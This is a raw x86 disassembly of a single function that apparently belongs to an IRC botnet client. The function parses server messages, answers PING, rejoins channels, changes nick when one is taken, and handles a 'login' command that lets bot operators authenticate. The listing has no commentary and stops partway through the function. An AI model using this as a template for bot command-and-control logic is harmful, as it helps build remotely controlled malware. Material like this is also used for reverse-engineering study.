var_1340	= byte ptr -1340h
var_1240	= byte ptr -1240h
var_123C	= byte ptr -123Ch
var_11BC	= byte ptr -11BCh
var_117C	= byte ptr -117Ch
var_10EC	= dword	ptr -10ECh
var_10E8	= dword	ptr -10E8h
var_10E4	= dword	ptr -10E4h
var_10E0	= dword	ptr -10E0h
var_10DC	= dword	ptr -10DCh
var_10D4	= byte ptr -10D4h
var_1054	= byte ptr -1054h
var_FD4		= dword	ptr -0FD4h
var_FD0		= dword	ptr -0FD0h
var_FCC		= dword	ptr -0FCCh
var_FC4		= dword	ptr -0FC4h
var_FC0		= dword	ptr -0FC0h
var_FBC		= dword	ptr -0FBCh
var_FB4		= dword	ptr -0FB4h
var_FB0		= byte ptr -0FB0h
var_FAC		= dword	ptr -0FACh
var_FA8		= byte ptr -0FA8h
var_F28		= byte ptr -0F28h
var_E28		= byte ptr -0E28h
var_D29		= byte ptr -0D29h
var_D28		= byte ptr -0D28h
var_C28		= dword	ptr -0C28h
var_C24		= dword	ptr -0C24h
var_C20		= dword	ptr -0C20h
var_C1C		= dword	ptr -0C1Ch
var_C18		= dword	ptr -0C18h
var_C14		= dword	ptr -0C14h
var_C10		= dword	ptr -0C10h
var_C0C		= dword	ptr -0C0Ch
var_C08		= dword	ptr -0C08h
var_C04		= byte ptr -0C04h
var_B84		= dword	ptr -0B84h
var_B80		= byte ptr -0B80h
var_B74		= byte ptr -0B74h
var_B70		= byte ptr -0B70h
var_B00		= byte ptr -0B00h
var_A80		= dword	ptr -0A80h
var_A7C		= dword	ptr -0A7Ch
var_A78		= dword	ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A64		= byte ptr -0A64h
var_A54		= dword	ptr -0A54h
var_A50		= byte ptr -0A50h
var_A1C		= dword	ptr -0A1Ch
var_A18		= byte ptr -0A18h
var_9D0		= byte ptr -9D0h
var_998		= byte ptr -998h
var_990		= byte ptr -990h
var_918		= byte ptr -918h
var_898		= dword	ptr -898h
var_894		= dword	ptr -894h
var_890		= dword	ptr -890h
var_88C		= dword	ptr -88Ch
var_888		= dword	ptr -888h
var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_874		= dword	ptr -874h
var_870		= byte ptr -870h
var_7F0		= byte ptr -7F0h
var_770		= dword	ptr -770h
var_76C		= dword	ptr -76Ch
var_768		= dword	ptr -768h
var_764		= dword	ptr -764h
var_760		= dword	ptr -760h
var_75C		= dword	ptr -75Ch
var_758		= dword	ptr -758h
var_754		= dword	ptr -754h
var_750		= dword	ptr -750h
var_74C		= byte ptr -74Ch
var_67C		= byte ptr -67Ch
var_66C		= byte ptr -66Ch
var_648		= byte ptr -648h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_544		= dword	ptr -544h
var_540		= dword	ptr -540h
var_53C		= dword	ptr -53Ch
var_538		= byte ptr -538h
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= byte ptr -4ACh
var_44B		= byte ptr -44Bh
var_44A		= byte ptr -44Ah
var_448		= byte ptr -448h
var_447		= byte ptr -447h
var_444		= dword	ptr -444h
var_440		= byte ptr -440h
var_43E		= byte ptr -43Eh
var_43C		= byte ptr -43Ch
var_43B		= byte ptr -43Bh
var_43A		= byte ptr -43Ah
var_439		= byte ptr -439h
var_432		= byte ptr -432h
var_410		= byte ptr -410h
var_3F0		= dword	ptr -3F0h
var_3C4		= dword	ptr -3C4h
var_3C0		= dword	ptr -3C0h
var_3BC		= dword	ptr -3BCh
var_3B8		= dword	ptr -3B8h
var_3B4		= dword	ptr -3B4h
var_3B0		= dword	ptr -3B0h
var_3AC		= byte ptr -3ACh
var_390		= dword	ptr -390h
var_38C		= byte ptr -38Ch
var_388		= dword	ptr -388h
var_384		= byte ptr -384h
var_378		= dword	ptr -378h
var_374		= byte ptr -374h
var_30C		= byte ptr -30Ch
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= byte ptr -2E0h
var_E0		= byte ptr -0E0h
var_C8		= word ptr -0C8h
var_C6		= word ptr -0C6h
var_C4		= dword	ptr -0C4h
var_B8		= byte ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_64		= byte ptr -64h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 2178h
		call	sub_412DD0
		push	ebx
		push	esi
		push	edi
		mov	esi, 80h
		xor	eax, eax
		push	1Bh
		push	[ebp+arg_10]
		xor	ebx, ebx
		mov	ecx, esi
		lea	edi, [ebp+var_2E0]
		rep stosd
		lea	eax, [ebp+var_3AC]
		push	eax
		mov	[ebp+var_1C], 3
		mov	[ebp+var_18], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_AC], ebx
		call	sub_412C40
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		jz	loc_407B7D
		mov	ecx, esi
		mov	esi, 1FFh
		push	esi
		push	[ebp+arg_0]
		lea	edi, [ebp+var_17E8]
		rep stosd
		lea	eax, [ebp+var_17E8]
		push	eax
		call	sub_412C40
		lea	eax, [ebp+var_17E8]
		push	offset asc_4246B4 ; " :"
		push	eax
		call	sub_413920
		mov	[ebp+var_14], eax
		push	esi
		lea	eax, [ebp+var_17E8]
		push	eax
		lea	eax, [ebp+var_1BE8]
		push	eax
		call	sub_412C40
		mov	esi, offset asc_41FA74 ; " "
		lea	eax, [ebp+var_1BE8]
		push	esi
		push	eax
		call	sub_413859
		xor	edi, edi
		add	esp, 28h
		mov	[ebp+var_A4], eax
		inc	edi


loc_4079BA:				; CODE XREF: sub_4078FA+D4j
		push	esi
		push	ebx
		call	sub_413859
		mov	[ebp+edi*4+var_A4], eax
		inc	edi
		cmp	edi, 20h
		pop	ecx
		pop	ecx
		jl	short loc_4079BA
		mov	ebx, [ebp+var_A4]
		xor	esi, esi
		cmp	ebx, esi
		jz	loc_407B7B
		cmp	[ebp+var_A0], esi
		jz	loc_407B7B
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_4AC]
		push	1Fh
		rep stosd
		pop	edx


loc_4079FC:				; CODE XREF: sub_4078FA+13Aj
		lea	ecx, [ebp+edx*4+var_A4]
		mov	eax, [ecx]
		cmp	eax, esi
		jz	short loc_407A33
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_407A36
		cmp	byte ptr [eax+2], 0
		jnz	short loc_407A36
		movsx	edi, byte ptr [eax+1]
		and	byte ptr [eax],	0
		and	byte ptr [eax+1], 0
		and	byte ptr [eax+2], 0
		mov	[ecx], esi
		mov	ebx, [ebp+var_A4]
		mov	[ebp+edi+var_4AC], 1


loc_407A33:				; CODE XREF: sub_4078FA+10Dj
		dec	edx
		jns	short loc_4079FC


loc_407A36:				; CODE XREF: sub_4078FA+112j
					; sub_4078FA+118j
		cmp	[ebp+var_439], 0
		jz	short loc_407A46
		mov	[ebp+var_C], 1


loc_407A46:				; CODE XREF: sub_4078FA+143j
		cmp	[ebp+var_43E], 0
		jz	short loc_407A59
		mov	[ebp+var_C], esi
		mov	[ebp+var_4], 1


loc_407A59:				; CODE XREF: sub_4078FA+153j
		cmp	byte ptr [ebx],	0Ah
		jz	short loc_407A93
		push	7Fh
		lea	eax, [ebp+var_C04]
		push	ebx
		push	eax
		call	sub_412C40
		push	17h
		lea	eax, [ebx+1]
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		call	sub_412C40
		lea	eax, [ebp+var_E0]
		push	offset asc_4264C0 ; "!"
		push	eax
		call	sub_413859
		add	esp, 20h


loc_407A93:				; CODE XREF: sub_4078FA+162j
		push	5
		mov	edi, ebx
		mov	esi, offset aPing ; "PING"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_407AE1
		push	[ebp+var_A0]
		mov	byte ptr [ebx+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	dword ptr [eax], 0
		jnz	loc_407B7B


loc_407AC9:				; CODE XREF: sub_4078FA+3DAj
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"


loc_407AD4:				; CODE XREF: sub_4078FA+6D6j
					; sub_4078FA+93Cj ...
		push	[ebp+arg_4]
		call	sub_404592
		jmp	loc_40BE11
; ---------------------------------------------------------------------------


loc_407AE1:				; CODE XREF: sub_4078FA+1A7j
		mov	edx, [ebp+var_A0]
		push	4
		pop	eax
		mov	edi, edx
		mov	esi, offset a001 ; "001"
		mov	ecx, eax
		xor	ebx, ebx
		repe cmpsb
		jz	loc_40D1A7
		mov	edi, edx
		mov	esi, offset a005 ; "005"
		mov	ecx, eax
		xor	ebx, ebx
		repe cmpsb
		jz	loc_40D1A7
		mov	edi, edx
		mov	esi, offset a302 ; "302"
		mov	ecx, eax
		xor	ebx, ebx
		repe cmpsb
		jnz	short loc_407B44
		push	offset a@	; "@"
		push	[ebp+var_98]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_407B7B
		push	9Fh
		inc	eax
		push	eax
		push	[ebp+arg_1C]
		jmp	loc_407DE9
; ---------------------------------------------------------------------------


loc_407B44:				; CODE XREF: sub_4078FA+223j
		mov	ecx, eax
		mov	edi, edx
		mov	esi, offset a433 ; "433"
		xor	eax, eax
		repe cmpsb
		jnz	short loc_407B83
		push	eax
		push	dword_42AE68
		push	dword_42AE64
		push	[ebp+arg_10]
		call	sub_40E7B0
		push	[ebp+arg_10]
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		add	esp, 1Ch


loc_407B7B:				; CODE XREF: sub_4078FA+E0j
					; sub_4078FA+ECj ...
		xor	eax, eax


loc_407B7D:				; CODE XREF: sub_4078FA+55j
		inc	eax


loc_407B7E:				; CODE XREF: sub_4078FA+172Dj
					; sub_4078FA+2E43j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_407B83:				; CODE XREF: sub_4078FA+257j
		mov	edi, [ebp+arg_18]
		push	2
		pop	edx


loc_407B89:				; CODE XREF: sub_4078FA+2D0j
		lea	eax, [ebp+var_C04]
		mov	esi, edi


loc_407B91:				; CODE XREF: sub_4078FA+2B3j
		mov	bl, [esi]
		mov	cl, bl
		cmp	bl, [eax]
		jnz	short loc_407BB3
		test	cl, cl
		jz	short loc_407BAF
		mov	bl, [esi+1]
		mov	cl, bl
		cmp	bl, [eax+1]
		jnz	short loc_407BB3
		inc	esi
		inc	esi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_407B91


loc_407BAF:				; CODE XREF: sub_4078FA+2A1j
		xor	eax, eax
		jmp	short loc_407BB8
; ---------------------------------------------------------------------------


loc_407BB3:				; CODE XREF: sub_4078FA+29Dj
					; sub_4078FA+2ABj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_407BB8:				; CODE XREF: sub_4078FA+2B7j
		test	eax, eax
		jnz	short loc_407BC3
		mov	[ebp+var_20], 1


loc_407BC3:				; CODE XREF: sub_4078FA+2C0j
		add	edi, 80h
		dec	edx
		jnz	short loc_407B89
		mov	edi, [ebp+var_A0]
		push	5
		mov	esi, offset aKick ; "KICK"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_407CD9
		mov	edi, [ebp+arg_18]
		push	2
		pop	ebx


loc_407BEA:				; CODE XREF: sub_4078FA+396j
		cmp	byte ptr [edi],	0
		jz	loc_407C89
		push	7Fh
		lea	eax, [ebp+var_C04]
		push	edi
		push	eax
		call	sub_412C40
		add	esp, 0Ch
		cmp	[ebp+var_98], 0
		jz	short loc_407C89
		mov	esi, [ebp+var_98]
		lea	eax, [ebp+var_E0]


loc_407C1A:				; CODE XREF: sub_4078FA+33Cj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_407C3C
		test	cl, cl
		jz	short loc_407C38
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_407C3C
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_407C1A


loc_407C38:				; CODE XREF: sub_4078FA+32Aj
		xor	eax, eax
		jmp	short loc_407C41
; ---------------------------------------------------------------------------


loc_407C3C:				; CODE XREF: sub_4078FA+326j
					; sub_4078FA+334j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_407C41:				; CODE XREF: sub_4078FA+340j
		test	eax, eax
		jnz	short loc_407C89
		and	[edi], al
		lea	eax, [ebp+var_E0]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aMainUserSLogge ; "[MAIN]: User %s logged out."
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_2E0]
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_404592
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		add	esp, 20h


loc_407C89:				; CODE XREF: sub_4078FA+2F3j
					; sub_4078FA+312j ...
		add	edi, 80h
		dec	ebx
		jnz	loc_407BEA
		mov	esi, [ebp+var_98]
		mov	eax, [ebp+arg_10]


loc_407C9F:				; CODE XREF: sub_4078FA+3C1j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_407CC1
		test	cl, cl
		jz	short loc_407CBD
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_407CC1
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_407C9F


loc_407CBD:				; CODE XREF: sub_4078FA+3AFj
		xor	eax, eax
		jmp	short loc_407CC6
; ---------------------------------------------------------------------------


loc_407CC1:				; CODE XREF: sub_4078FA+3ABj
					; sub_4078FA+3B9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_407CC6:				; CODE XREF: sub_4078FA+3C5j
		test	eax, eax
		jnz	loc_407B7B
		mov	eax, [ebp+arg_20]
		and	dword ptr [eax], 0
		jmp	loc_407AC9
; ---------------------------------------------------------------------------


loc_407CD9:				; CODE XREF: sub_4078FA+2E4j
		mov	edi, [ebp+var_A0]
		push	5
		mov	esi, offset aNick ; "NICK"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_407EB9
		mov	eax, [ebp+var_9C]
		or	[ebp+var_1C], 0FFFFFFFFh
		mov	ebx, [ebp+arg_18]
		inc	eax
		sub	[ebp+var_1C], eax
		mov	[ebp+arg_0], eax
		mov	[ebp+var_20], 2


loc_407D0C:				; CODE XREF: sub_4078FA+4A3j
		lea	eax, [ebp+var_C04]
		mov	esi, ebx


loc_407D14:				; CODE XREF: sub_4078FA+436j
		mov	dl, [esi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_407D36
		test	cl, cl
		jz	short loc_407D32
		mov	dl, [esi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_407D36
		inc	esi
		inc	esi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_407D14


loc_407D32:				; CODE XREF: sub_4078FA+424j
		xor	eax, eax
		jmp	short loc_407D3B
; ---------------------------------------------------------------------------


loc_407D36:				; CODE XREF: sub_4078FA+420j
					; sub_4078FA+42Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_407D3B:				; CODE XREF: sub_4078FA+43Aj
		test	eax, eax
		jnz	short loc_407D94
		lea	eax, [ebp+var_C04]
		push	21h
		push	eax
		call	sub_413F30
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jz	short loc_407D94
		mov	eax, [ebp+var_1C]
		mov	edx, [ebp+arg_0]
		lea	ecx, [ebx+2]
		mov	byte ptr [ebx],	3Ah
		lea	esi, [eax+ecx]


loc_407D64:				; CODE XREF: sub_4078FA+472j
		mov	al, [edx]
		mov	[esi+edx], al
		inc	edx
		test	al, al
		jnz	short loc_407D64
		mov	eax, edi
		mov	esi, edi


loc_407D72:				; CODE XREF: sub_4078FA+47Dj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_407D72
		sub	eax, esi
		dec	ecx


loc_407D7C:				; CODE XREF: sub_4078FA+488j
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jnz	short loc_407D7C
		mov	edi, ecx
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_407D94:				; CODE XREF: sub_4078FA+443j
					; sub_4078FA+459j
		add	ebx, 80h
		dec	[ebp+var_20]
		jnz	loc_407D0C
		cmp	[ebp+arg_0], 0
		jz	loc_407B7B
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_E0]


loc_407DB6:				; CODE XREF: sub_4078FA+4D8j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_407DD8
		test	cl, cl
		jz	short loc_407DD4
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_407DD8
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_407DB6


loc_407DD4:				; CODE XREF: sub_4078FA+4C6j
		xor	eax, eax
		jmp	short loc_407DDD
; ---------------------------------------------------------------------------


loc_407DD8:				; CODE XREF: sub_4078FA+4C2j
					; sub_4078FA+4D0j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_407DDD:				; CODE XREF: sub_4078FA+4DCj
		test	eax, eax
		jnz	short loc_407DF6
		push	0Fh
		push	[ebp+arg_0]
		push	[ebp+arg_10]


loc_407DE9:				; CODE XREF: sub_4078FA+245j
		call	sub_412C40
		add	esp, 0Ch
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_407DF6:				; CODE XREF: sub_4078FA+4E5j
		mov	edx, [ebp+arg_18]
		xor	edi, edi


loc_407DFB:				; CODE XREF: sub_4078FA+543j
		cmp	byte ptr [edx],	0
		jz	short loc_407E33
		lea	eax, [ebp+var_C04]
		mov	esi, edx


loc_407E08:				; CODE XREF: sub_4078FA+52Aj
		mov	bl, [esi]
		mov	cl, bl
		cmp	bl, [eax]
		jnz	short loc_407E2A
		test	cl, cl
		jz	short loc_407E26
		mov	bl, [esi+1]
		mov	cl, bl
		cmp	bl, [eax+1]
		jnz	short loc_407E2A
		inc	esi
		inc	esi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_407E08


loc_407E26:				; CODE XREF: sub_4078FA+518j
		xor	eax, eax
		jmp	short loc_407E2F
; ---------------------------------------------------------------------------


loc_407E2A:				; CODE XREF: sub_4078FA+514j
					; sub_4078FA+522j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_407E2F:				; CODE XREF: sub_4078FA+52Ej
		test	eax, eax
		jz	short loc_407E44


loc_407E33:				; CODE XREF: sub_4078FA+504j
		inc	edi
		add	edx, 80h
		cmp	edi, 2
		jl	short loc_407DFB
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_407E44:				; CODE XREF: sub_4078FA+537j
		lea	eax, [ebp+var_C04]
		push	21h
		push	eax
		call	sub_413F30
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		pop	ecx
		jz	loc_407B7B
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+1]


loc_407E64:				; CODE XREF: sub_4078FA+56Fj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jnz	short loc_407E64
		sub	ecx, edx
		mov	edx, ebx
		lea	esi, [edx+1]


loc_407E72:				; CODE XREF: sub_4078FA+57Dj
		mov	al, [edx]
		inc	edx
		test	al, al
		jnz	short loc_407E72
		sub	edx, esi
		add	edx, ecx
		cmp	edx, 7Eh
		ja	loc_407B7B
		push	ebx
		push	[ebp+arg_0]
		shl	edi, 7
		add	edi, [ebp+arg_18]
		push	offset aSS_2	; ":%s%s"
		push	edi
		call	sub_412BB5
		push	0
		push	0
		lea	eax, [ebp+var_410]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 24h
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_407EB9:				; CODE XREF: sub_4078FA+3F1j
		mov	edi, [ebp+var_A0]
		mov	ebx, offset aPart ; "PART"
		push	5
		mov	esi, ebx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_407EE3
		mov	edi, [ebp+var_A0]
		push	5
		mov	esi, offset aQuit ; "QUIT"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_407F33


loc_407EE3:				; CODE XREF: sub_4078FA+5D3j
		mov	esi, [ebp+arg_18]
		xor	eax, eax
		mov	[ebp+var_10], esi


loc_407EEB:				; CODE XREF: sub_4078FA+637j
		cmp	byte ptr [esi],	0
		jz	short loc_407F21
		mov	edi, [ebp+var_A4]


loc_407EF6:				; CODE XREF: sub_4078FA+618j
		mov	dl, [esi]
		mov	cl, dl
		cmp	dl, [edi]
		jnz	short loc_407F18
		test	cl, cl
		jz	short loc_407F14
		mov	dl, [esi+1]
		mov	cl, dl
		cmp	dl, [edi+1]
		jnz	short loc_407F18
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	cl, cl
		jnz	short loc_407EF6


loc_407F14:				; CODE XREF: sub_4078FA+606j
		xor	ecx, ecx
		jmp	short loc_407F1D
; ---------------------------------------------------------------------------


loc_407F18:				; CODE XREF: sub_4078FA+602j
					; sub_4078FA+610j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_407F1D:				; CODE XREF: sub_4078FA+61Cj
		test	ecx, ecx
		jz	short loc_407F76


loc_407F21:				; CODE XREF: sub_4078FA+5F4j
		mov	esi, [ebp+var_10]
		inc	eax
		add	esi, 80h
		cmp	eax, 2
		mov	[ebp+var_10], esi
		jl	short loc_407EEB


loc_407F33:				; CODE XREF: sub_4078FA+5E7j
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset a353 ; "353"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_407FF7
		mov	esi, [ebp+var_94]
		mov	eax, [ebp+arg_8]


loc_407F54:				; CODE XREF: sub_4078FA+676j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_407FD5
		test	cl, cl
		jz	short loc_407F72
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_407FD5
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_407F54


loc_407F72:				; CODE XREF: sub_4078FA+664j
		xor	eax, eax
		jmp	short loc_407FDA
; ---------------------------------------------------------------------------


loc_407F76:				; CODE XREF: sub_4078FA+625j
		mov	ecx, [ebp+arg_18]
		shl	eax, 7
		and	byte ptr [eax+ecx], 0
		lea	eax, [ebp+var_E0]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aMainUserSLog_0 ; "[MAIN]: User:	%s logged out."
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		mov	edi, [ebp+var_A0]
		add	esp, 10h
		push	5
		mov	esi, ebx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_407B7B
		lea	eax, [ebp+var_2E0]
		push	eax
		mov	eax, [ebp+var_A4]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_407AD4
; ---------------------------------------------------------------------------


loc_407FD5:				; CODE XREF: sub_4078FA+660j
					; sub_4078FA+66Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_407FDA:				; CODE XREF: sub_4078FA+67Aj
		test	eax, eax
		jnz	short loc_407FE7
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_407FE7:				; CODE XREF: sub_4078FA+6E2j
		push	[ebp+var_94]
		push	offset aMainJoinedChan ; "[MAIN]: Joined channel: %s."
		jmp	loc_40D19B
; ---------------------------------------------------------------------------


loc_407FF7:				; CODE XREF: sub_4078FA+64Bj
		mov	edi, [ebp+var_A0]
		mov	eax, offset aPrivmsg ; "PRIVMSG"
		push	8
		xor	edx, edx
		mov	esi, eax
		pop	ecx
		repe cmpsb
		mov	edx, offset aNotice ; "NOTICE"
		jz	short loc_408047
		mov	edi, [ebp+var_A0]
		push	7
		mov	esi, edx
		pop	ecx
		xor	ebx, ebx
		repe cmpsb
		jz	short loc_408047
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_4263EC
		pop	ecx
		xor	ebx, ebx
		repe cmpsb
		jnz	loc_40CFE2
		cmp	dword_42AE50, ebx
		jz	loc_40CFE2


loc_408047:				; CODE XREF: sub_4078FA+716j
					; sub_4078FA+727j
		mov	edi, [ebp+var_A0]
		mov	ebx, [ebp+var_1C]
		mov	esi, eax
		push	8
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_40814C
		mov	edi, [ebp+var_A0]
		push	7
		mov	esi, edx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_40814C
		mov	eax, [ebp+var_98]
		inc	[ebp+var_94]
		mov	[ebp+var_1C], 4
		mov	[ebp+var_9C], eax


loc_40808D:				; CODE XREF: sub_4078FA+910j
					; sub_4078FA+94Fj ...
		mov	ebx, [ebp+var_1C]
		shl	ebx, 2
		lea	eax, [ebp+ebx+var_A4]
		mov	ecx, [eax]
		lea	edx, [ecx+1]
		mov	[eax], edx
		mov	al, byte_42AE5C
		cmp	[ecx], al
		mov	[ebp+var_A8], edx
		jnz	loc_407B7B
		push	6
		mov	edi, edx
		mov	esi, offset aLogin ; "login"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_40CFEA
		push	2
		mov	edi, edx
		mov	esi, offset dword_4263E8
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_40CFEA
		cmp	[ebp+var_20], eax
		jnz	short loc_4080F9
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_4263EC
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40CFE2


loc_4080F9:				; CODE XREF: sub_4078FA+7E5j
		xor	eax, eax
		cmp	[ebp+arg_28], eax
		jnz	loc_40CFE2
		cmp	dword_42B280, eax
		mov	[ebp+var_10], eax
		jle	loc_408417
		mov	[ebp+var_8], offset dword_479030


loc_40811A:				; CODE XREF: sub_4078FA+99Aj
		mov	edi, [ebp+var_8]
		mov	esi, edx


loc_40811F:				; CODE XREF: sub_4078FA+849j
		mov	cl, [edi]
		mov	al, cl
		cmp	cl, [esi]
		jnz	loc_408278
		test	al, al
		jz	short loc_408145
		mov	cl, [edi+1]
		mov	al, cl
		cmp	cl, [esi+1]
		jnz	loc_408278
		inc	edi
		inc	edi
		inc	esi
		inc	esi
		test	al, al
		jnz	short loc_40811F


loc_408145:				; CODE XREF: sub_4078FA+833j
		xor	eax, eax
		jmp	loc_40827D
; ---------------------------------------------------------------------------


loc_40814C:				; CODE XREF: sub_4078FA+75Fj
					; sub_4078FA+774j
		mov	edi, [ebp+var_A0]
		push	7
		mov	esi, edx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_408164
		mov	[ebp+var_4], 1


loc_408164:				; CODE XREF: sub_4078FA+861j
		cmp	[ebp+var_9C], 0
		jz	loc_407B7B
		push	offset dword_4263E4
		push	[ebp+var_9C]
		call	sub_413920
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40818D
		cmp	[ebp+var_4], 0
		jz	short loc_408199


loc_40818D:				; CODE XREF: sub_4078FA+88Bj
		lea	eax, [ebp+var_E0]
		mov	[ebp+var_9C], eax


loc_408199:				; CODE XREF: sub_4078FA+891j
		cmp	[ebp+var_98], 0
		jz	loc_407B7B
		inc	[ebp+var_98]
		jz	short loc_4081E8
		cmp	[ebp+arg_10], 0
		jz	short loc_4081E8
		lea	eax, [ebp+var_3AC]
